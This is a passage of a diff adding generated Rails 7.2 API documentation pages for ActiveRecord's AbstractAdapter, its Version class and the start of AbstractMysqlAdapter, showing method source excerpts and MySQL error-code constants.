# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 822
+      def close
+        pool.checkin self
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connect!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 770
+      def connect!
+        verify!
+        self
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connected?() + +

+ + +
+

Checks whether the connection to the database was established. This doesn’t include checking whether the database is actually capable of responding, i.e. whether the connection is stale.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 644
+      def connected?
+        !@raw_connection.nil?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connection_retries() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 217
+      def connection_retries
+        (@config[:connection_retries] || 1).to_i
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + database_exists?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 365
+      def database_exists?
+        connect!
+        true
+      rescue ActiveRecord::NoDatabaseError
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + default_timezone() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 229
+      def default_timezone
+        @default_timezone || ActiveRecord.default_timezone
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disable_extension(name, **) + +

+ + +
+

This is meant to be implemented by the adapters that support extensions

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 571
+      def disable_extension(name, **)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disable_referential_integrity() + +

+ + +
+

Override to turn off referential integrity while executing &block.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 629
+      def disable_referential_integrity
+        yield
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + discard!() + +

+ + +
+

Immediately forget this connection ever existed. Unlike disconnect!, this will not communicate with the server.

+ +

After calling this method, the behavior of all other methods becomes undefined. This is called internally just before a forked process gets rid of a connection that belonged to its parent.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 707
+      def discard!
+        # This should be overridden by concrete adapters.
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disconnect!() + +

+ + +
+

Disconnects from the database if already connected. Otherwise, this method does nothing.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 693
+      def disconnect!
+        @lock.synchronize do
+          clear_cache!(new_connection: true)
+          reset_transaction
+          @raw_connection_dirty = false
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + enable_extension(name, **) + +

+ + +
+

This is meant to be implemented by the adapters that support extensions

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 575
+      def enable_extension(name, **)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + expire() + +

+ + +
+

this method must only be called while holding connection pool’s mutex

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 313
+      def expire
+        if in_use?
+          if @owner != ActiveSupport::IsolatedExecutionState.context
+            raise ActiveRecordError, "Cannot expire connection, " \
+              "it is owned by a different thread: #{@owner}. " \
+              "Current thread: #{ActiveSupport::IsolatedExecutionState.context}."
+          end
+
+          @idle_since = Process.clock_gettime(Process::CLOCK_MONOTONIC)
+          @owner = nil
+        else
+          raise ActiveRecordError, "Cannot expire connection, it is not currently leased."
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extensions() + +

+ + +
+

A list of extensions, to be filled in by adapters that support them.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 617
+      def extensions
+        []
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + index_algorithms() + +

+ + +
+

A list of index algorithms, to be filled by adapters that support them.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 622
+      def index_algorithms
+        {}
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + lease() + +

+ + +
+

this method must only be called while holding connection pool’s mutex

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 277
+      def lease
+        if in_use?
+          msg = +"Cannot lease connection, "
+          if @owner == ActiveSupport::IsolatedExecutionState.context
+            msg << "it is already leased by the current thread."
+          else
+            msg << "it is already in use by a different thread: #{@owner}. " \
+                   "Current thread: #{ActiveSupport::IsolatedExecutionState.context}."
+          end
+          raise ActiveRecordError, msg
+        end
+
+        @owner = ActiveSupport::IsolatedExecutionState.context
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pool=(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 48
+      def pool=(value)
+        return if value.eql?(@pool)
+        @schema_cache = nil
+        @pool = value
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prefetch_primary_key?(table_name = nil) + +

+ + +
+

Should primary key values be selected from their corresponding sequence before the insert statement? If true, next_sequence_value is called before each insert to set the record’s primary key.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 405
+      def prefetch_primary_key?(table_name = nil)
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prepared_statements() + +

+ + +
+ +
+ + + + + +
+ Alias for: prepared_statements? +
+ + + + +
+ +
+

+ + prepared_statements?() + +

+ + +
+ +
+ + + +
+ Also aliased as: prepared_statements +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 244
+      def prepared_statements?
+        @prepared_statements && !prepared_statements_disabled_cache.include?(object_id)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + preventing_writes?() + +

+ + +
+

Determines whether writes are currently being prevented.

+ +

Returns true if the connection is a replica or returns the value of current_preventing_writes.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 237
+      def preventing_writes?
+        return true if replica?
+        return false if connection_class.nil?
+
+        connection_class.current_preventing_writes
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + raw_connection() + +

+ + +
+

Provides access to the underlying database driver for this adapter. For example, this method returns a Mysql2::Client object in case of Mysql2Adapter, and a PG::Connection object in case of PostgreSQLAdapter.

+ +

This is useful for when you need to call a proprietary method such as PostgreSQL’s lo_* methods.

+ +

Active Record cannot track if the database is getting modified using this client. If that is the case, generally you’ll want to invalidate the query cache using ActiveRecord::Base.clear_query_cache.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 790
+      def raw_connection
+        with_raw_connection do |conn|
+          disable_lazy_transactions!
+          @raw_connection_dirty = true
+          conn
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reconnect!(restore_transactions: false) + +

+ + +
+

Disconnects from the database if already connected, and establishes a new connection with the database. Implementors should define private reconnect instead.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 657
+      def reconnect!(restore_transactions: false)
+        retries_available = connection_retries
+        deadline = retry_deadline && Process.clock_gettime(Process::CLOCK_MONOTONIC) + retry_deadline
+
+        @lock.synchronize do
+          reconnect
+
+          enable_lazy_transactions!
+          @raw_connection_dirty = false
+          @verified = true
+
+          reset_transaction(restore: restore_transactions) do
+            clear_cache!(new_connection: true)
+            configure_connection
+          end
+        rescue => original_exception
+          translated_exception = translate_exception_class(original_exception, nil, nil)
+          retry_deadline_exceeded = deadline && deadline < Process.clock_gettime(Process::CLOCK_MONOTONIC)
+
+          if !retry_deadline_exceeded && retries_available > 0
+            retries_available -= 1
+
+            if retryable_connection_error?(translated_exception)
+              backoff(connection_retries - retries_available)
+              retry
+            end
+          end
+
+          @verified = false
+
+          raise translated_exception
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + replica?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 213
+      def replica?
+        @config[:replica] || false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + requires_reloading?() + +

+ + +
+

Returns true if its required to reload the connection between requests for development mode.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 745
+      def requires_reloading?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reset!() + +

+ + +
+

Reset the state of this connection, directing the DBMS to clear transactions and other connection-related server-side state. Usually a database-dependent operation.

+ +

If a database driver or protocol does not support such a feature, implementors may alias this to reconnect!. Otherwise, implementors should call super immediately after resetting the connection (and while still holding @lock).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 719
+      def reset!
+        clear_cache!(new_connection: true)
+        reset_transaction
+        configure_connection
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + retry_deadline() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 221
+      def retry_deadline
+        if @config[:retry_deadline]
+          @config[:retry_deadline].to_f
+        else
+          nil
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + role() + +

+ + +
+

The role (e.g. :writing) for the current connection. In a non-multi role application, :writing is returned.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 298
+      def role
+        @pool.role
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + savepoint_errors_invalidate_transactions?() + +

+ + +
+

Do TransactionRollbackErrors on savepoints affect the parent transaction?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 389
+      def savepoint_errors_invalidate_transactions?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + schema_cache() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 308
+      def schema_cache
+        @pool.schema_cache || (@schema_cache ||= BoundSchemaReflection.for_lone_connection(@pool.schema_reflection, self))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + schema_version() + +

+ + +
+

Returns the version identifier of the schema currently available in the database. This is generally equal to the number of the highest- numbered migration that has been executed, or 0 if no schema information is present / the database is empty.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 857
+      def schema_version
+        pool.migration_context.current_version
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + shard() + +

+ + +
+

The shard (e.g. :default) for the current connection. In a non-sharded application, :default is returned.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 304
+      def shard
+        @pool.shard
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_advisory_locks?() + +

+ + +
+

Does this adapter support application-enforced advisory locking?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 398
+      def supports_advisory_locks?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_bulk_alter?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 378
+      def supports_bulk_alter?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_check_constraints?() + +

+ + +
+

Does this adapter support creating check constraints?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 470
+      def supports_check_constraints?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_comments?() + +

+ + +
+

Does this adapter support metadata comments on database objects (tables, columns, indexes)?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 505
+      def supports_comments?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_comments_in_create?() + +

+ + +
+

Can comments for tables, columns, and indexes be specified in create/alter table statements?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 510
+      def supports_comments_in_create?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_common_table_expressions?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 529
+      def supports_common_table_expressions?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_concurrent_connections?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 553
+      def supports_concurrent_connections?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_datetime_with_precision?() + +

+ + +
+

Does this adapter support datetime with precision?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 495
+      def supports_datetime_with_precision?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_ddl_transactions?() + +

+ + +
+

Does this adapter support DDL rollbacks in transactions? That is, would CREATE TABLE or ALTER TABLE get rolled back by a transaction?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 374
+      def supports_ddl_transactions?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_deferrable_constraints?() + +

+ + +
+

Does this adapter support creating deferrable constraints?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 465
+      def supports_deferrable_constraints?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_exclusion_constraints?() + +

+ + +
+

Does this adapter support creating exclusion constraints?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 475
+      def supports_exclusion_constraints?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_explain?() + +

+ + +
+

Does this adapter support explain?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 434
+      def supports_explain?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_expression_index?() + +

+ + +
+

Does this adapter support expression indices?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 429
+      def supports_expression_index?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_extensions?() + +

+ + +
+

Does this adapter support database extensions?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 444
+      def supports_extensions?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_foreign_keys?() + +

+ + +
+

Does this adapter support creating foreign key constraints?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 455
+      def supports_foreign_keys?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_foreign_tables?() + +

+ + +
+

Does this adapter support foreign/external tables?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 520
+      def supports_foreign_tables?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_index_include?() + +

+ + +
+

Does this adapter support including non-key columns?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 424
+      def supports_index_include?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_index_sort_order?() + +

+ + +
+

Does this adapter support index sort order?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 414
+      def supports_index_sort_order?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_indexes_in_create?() + +

+ + +
+

Does this adapter support creating indexes in the same statement as creating the table?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 450
+      def supports_indexes_in_create?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_insert_conflict_target?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 549
+      def supports_insert_conflict_target?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_insert_on_duplicate_skip?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 541
+      def supports_insert_on_duplicate_skip?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_insert_on_duplicate_update?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 545
+      def supports_insert_on_duplicate_update?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_insert_returning?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 537
+      def supports_insert_returning?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_json?() + +

+ + +
+

Does this adapter support JSON data type?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 500
+      def supports_json?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_lazy_transactions?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 533
+      def supports_lazy_transactions?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_materialized_views?() + +

+ + +
+

Does this adapter support materialized views?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 490
+      def supports_materialized_views?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_nulls_not_distinct?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 557
+      def supports_nulls_not_distinct?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_optimizer_hints?() + +

+ + +
+

Does this adapter support optimizer hints?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 525
+      def supports_optimizer_hints?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_partial_index?() + +

+ + +
+

Does this adapter support partial indices?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 419
+      def supports_partial_index?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_partitioned_indexes?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 409
+      def supports_partitioned_indexes?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_restart_db_transaction?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 393
+      def supports_restart_db_transaction?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_savepoints?() + +

+ + +
+

Does this adapter support savepoints?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 383
+      def supports_savepoints?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_transaction_isolation?() + +

+ + +
+

Does this adapter support setting the isolation level for a transaction?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 439
+      def supports_transaction_isolation?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_unique_constraints?() + +

+ + +
+

Does this adapter support creating unique constraints?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 480
+      def supports_unique_constraints?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_validate_constraints?() + +

+ + +
+

Does this adapter support creating invalid constraints?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 460
+      def supports_validate_constraints?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_views?() + +

+ + +
+

Does this adapter support views?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 485
+      def supports_views?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_virtual_columns?() + +

+ + +
+

Does this adapter support virtual columns?

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 515
+      def supports_virtual_columns?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + throw_away!() + +

+ + +
+

Removes the connection from the pool and disconnect it.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 726
+      def throw_away!
+        pool.remove self
+        disconnect!
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + unprepared_statement() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 347
+      def unprepared_statement
+        cache = prepared_statements_disabled_cache.add?(object_id) if @prepared_statements
+        yield
+      ensure
+        cache&.delete(object_id)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + verify!() + +

+ + +
+

Checks whether the connection to the database is still active (i.e. not stale). This is done under the hood by calling active?. If the connection is no longer active, then this method will reconnect to the database.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 752
+      def verify!
+        unless active?
+          @lock.synchronize do
+            if @unconfigured_connection
+              @raw_connection = @unconfigured_connection
+              @unconfigured_connection = nil
+              configure_connection
+              @verified = true
+              return
+            end
+
+            reconnect!(restore_transactions: true)
+          end
+        end
+
+        @verified = true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + log(sql, name = "SQL", binds = [], type_casted_binds = [], statement_name = nil, async: false, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 1118
+        def log(sql, name = "SQL", binds = [], type_casted_binds = [], statement_name = nil, async: false, &block) # :doc:
+          @instrumenter.instrument(
+            "sql.active_record",
+            sql:               sql,
+            name:              name,
+            binds:             binds,
+            type_casted_binds: type_casted_binds,
+            statement_name:    statement_name,
+            async:             async,
+            connection:        self,
+            transaction:       current_transaction.user_transaction.presence,
+            row_count:         0,
+            &block
+          )
+        rescue ActiveRecord::StatementInvalid => ex
+          raise ex.set_query(sql, binds)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/AbstractAdapter/Version.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/AbstractAdapter/Version.html new file mode 100644 index 0000000000..3379e41a6d --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/AbstractAdapter/Version.html @@ -0,0 +1,215 @@ +--- +title: ActiveRecord::ConnectionAdapters::AbstractAdapter::Version +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+
    + +
  • + + Comparable + +
  • + +
+ + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + full_version_string
+ + + + +

Class Public methods

+ +
+

+ + new(version_string, full_version_string = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 258
+        def initialize(version_string, full_version_string = nil)
+          @version = version_string.split(".").map(&:to_i)
+          @full_version_string = full_version_string
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + <=>(version_string) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 263
+        def <=>(version_string)
+          @version <=> version_string.split(".").map(&:to_i)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract_adapter.rb, line 267
+        def to_s
+          @version.join(".")
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/AbstractMysqlAdapter.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/AbstractMysqlAdapter.html new file mode 100644 index 0000000000..9d1a5a17a7 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/AbstractMysqlAdapter.html @@ -0,0 +1,1824 @@ +--- +title: ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CR_SERVER_GONE_ERROR=2006
CR_SERVER_LOST=2013
EMULATE_BOOLEANS_TRUE={ emulate_booleans: true }.freeze
ER_CANNOT_ADD_FOREIGN=1215
ER_CANNOT_CREATE_TABLE=1005
ER_CLIENT_INTERACTION_TIMEOUT=4031
ER_CONNECTION_KILLED=1927
ER_DATA_TOO_LONG=1406
ER_DB_CREATE_EXISTS=1007
 

See dev.mysql.com/doc/mysql-errors/en/server-error-reference.html

ER_DO_NOT_HAVE_DEFAULT=1364
ER_DUP_ENTRY=1062
ER_FILSORT_ABORT=1028
ER_FK_INCOMPATIBLE_COLUMNS=3780
ER_LOCK_DEADLOCK=1213
ER_LOCK_WAIT_TIMEOUT=1205
ER_NOT_NULL_VIOLATION=1048
ER_NO_REFERENCED_ROW=1216
ER_NO_REFERENCED_ROW_2=1452
ER_OUT_OF_RANGE=1264
ER_QUERY_INTERRUPTED=1317
ER_QUERY_TIMEOUT=3024
ER_ROW_IS_REFERENCED=1217
ER_ROW_IS_REFERENCED_2=1451
ER_SERVER_SHUTDOWN=1053
EXTENDED_TYPE_MAPS=Concurrent::Map.new
